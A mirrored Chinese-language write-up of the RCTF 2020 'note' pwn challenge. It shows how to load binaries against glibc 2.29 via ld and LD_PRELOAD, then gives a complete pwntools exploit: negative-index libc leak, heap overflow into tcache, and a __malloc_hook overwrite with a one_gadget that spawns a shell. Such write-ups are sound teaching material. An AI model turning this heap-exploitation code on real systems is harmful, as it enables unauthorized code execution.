5

RCTF 2020 Pwn note

 2 years ago
source link: https://xuanxuanblingbling.github.io/ctf/pwn/2020/06/01/note/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

漏洞点为索引没有过滤负数以及堆溢出。利用方法为首先通过负数索引泄露libc,然后构造堆溢出到tcache的fd为__malloc_hook的地址,再触发两次对应大小的malloc即可实现任意地址写,写入one_gadget即可。另外题目环境为libc2.29,本文还使用了ld-2.29.so直接加载题目的方式,介绍了在任意版本的ubuntu下做任意libc版本Pwn题的方法。

题目附件:note_attachment.zip

任意libc版本运行

首先查看libc的版本,在无法直接运行libc时,可以直接看libc的字符串:

➜  strings libc.so.6 | grep GNU
GNU C Library (Ubuntu GLIBC 2.29-0ubuntu2) stable release version 2.29.
Compiled by GNU CC version 8.3.0.

本题原始附件中是没有给出ld-2.29.so的,在这种情景下,我们是无法在没有完整安装libc2.29的环境下加载题目中的libc.so.6的,我们可以直接运行一下:

➜  uname -a
Linux ubuntu 4.15.0-99-generic #100~16.04.1-Ubuntu SMP Wed Apr 22 23:56:30 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
➜  ./libc.so.6
[1]    101643 segmentation fault (core dumped)  ./libc.so.6

但是如果运行ld-2.29.so并且将libc.so.6作为参数即可运行:

➜  ./ld-2.29.so libc.so.6 
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
	crypt add-on version 2.1 by Michael Glad and others
	GNU Libidn by Simon Josefsson
	Native POSIX Threads Library by Ulrich Drepper et al
	BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

背后的原因是ld和libc要配套,而且可以通过ldd工具查看二者背后依赖的库:

➜  ldd ./libc.so.6
	/lib64/ld-linux-x86-64.so.2 (0x00007f02902f9000)
	linux-vdso.so.1 =>  (0x00007fffa430d000)
➜  ldd ./ld-2.29.so 
	statically linked

可见,libc也是依赖ld的,而ld是一个静态链接的库,linux-vdso.so.1是linux64位下都有的,故按道理只要在任意64位linux发行版中,只要系统调用满足,都可以使用如上的方式加载任意版本的libc,那么如何加载程序呢?和我这篇文章:IDA动态调试:arm架构的IoT设备上运行armlinux_server错误的一种解决办法,给出的方法相同,通过运行ld,目标程序当做ld的参数,并通过环境变量LD_PRELOAD设置libc即可:

➜  LD_PRELOAD=./libc.so.6 ./ld-2.29.so ./note 
=========Welcome to NOTE shop!=========
1.New a note
2.Sell a note
3.Show a note
4.Edit a note
5.Exit
======================================
Choice: 

可以另开一个shell检查这个进程的内存映射:/proc/pid/maps,观察的确是加载的当前目录的libc以及ld,那在pwntools里怎么使用呢?一个道理:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf  = ELF("./note")
libc   = ELF("./x64/2.29/libc-2.29.so")
ld     = ELF("./x64/2.29/ld-2.29.so")
io     = process(argv=[ld.path,myelf.path],env={"LD_PRELOAD" : libc.path})
gdb.attach(io,"vmmap")
io.interactive()

另外在天舒的提示下知道了可以在这里获取各个版本的libc以及ld:glibc package in Ubuntu,进入每个版本的libc右侧的amd64选项,然后即可看到相应的deb包,下载并在ubuntu中使用dpkg -X xxx.deb ./dir/解压,即可在相应目录下找到对应版本的libc以及ld。

这里我已经做好了收集工作:ubuntu不同版本的libc以及ld整理

  • 通过-5索引,在data段正好能访问到本段地址,便可以把数据段中的内容打印出来,包含着libc相关
  • 还可以通过-5索引,拿到data段的内存写,故可以任意修改money
  • 构造好tcache,通过隐藏功能7,溢出到tcache的fd
  • 由于calloc不用tcache,所以需要触发malloc
  • 程序中只有隐藏功能6是malloc,而且大小是0x50,故之前构造的tcache的大小也需要是0x50
  • 隐藏功能6会检查一个全局变量,不过使用-5仍然能覆盖到
  • 修改金钱,调用两次malloc,写入one_gadget,然后再加一次钱,最后调一次malloc即可触发getshell
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf  = ELF("./note")
libc   = ELF("./libc.so.6")
ld     = ELF("./ld-2.29.so")
io     = process(argv=[ld.path,myelf.path],env={"LD_PRELOAD" : libc.path})
#io     = remote("124.156.135.103",6004)

sla         = lambda delim,data           :  (io.sendlineafter(delim, data))
sa          = lambda delim,data           :  (io.sendafter(delim, data))
new         = lambda index,size           :  (sla("Choice: ","1"),sla("Index: ",str(index)),sla("Size: ",str(size)))
sell        = lambda index                :  (sla("Choice: ","2"),sla("Index: ",str(index)))
show        = lambda index                :  (sla("Choice: ","3"),sla("Index: ",str(index)))
edit        = lambda index,message        :  (sla("Choice: ","4"),sla("Index: ",str(index)),sla("Message: \n",message))
name        = lambda name                 :  (sla("Choice: ","6"),sla("name: \n",name))
overedit    = lambda index,message        :  (sla("Choice: ","7"),sla("Index: ",str(index)),sa("Message: \n",message))

# leak libc & bss
show(-5)
data_addr     = u64(io.recv(8)) ; io.recv(16)
libc.address  = u64(io.recv(8)) - 0x1e5760
one_gadget    = libc.address+0xe237f
show(-5); bss = io.recv(0x70)

# use -5 to set money and over the one time chance
setmoney        = lambda money             :  (edit(-5,p64(data_addr)+p64(money)))
overflow        = lambda idx,data          :  (edit(-5,p64(data_addr)+p64(0x996)+p32(1)),overedit(idx,data))

# set money to allow new and name function
New             = lambda idx,size          :  (setmoney(0x99600),new(idx,size))
Name            = lambda data              :  (setmoney(0x9960000),name(data),edit(-5,bss))

# use tcache poisoning to arbitrary address write
def aaw(addr,data):
    New(0,0x50);New(1,0x50);sell(1)             # put one chunk to tcache list
    overflow(0,"1"*0x58+p64(0x61)+p64(addr))    # overflow tcache fd to addr
    Name("a")                                   # use malloc to get addr
    Name(data)                                  # modify addr content to data

# modify __malloc_hook to onegadget and trigger it
aaw(libc.symbols['__malloc_hook'],p64(one_gadget))
setmoney(0x9960000);sla("Choice: ","6")
io.interactive()

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK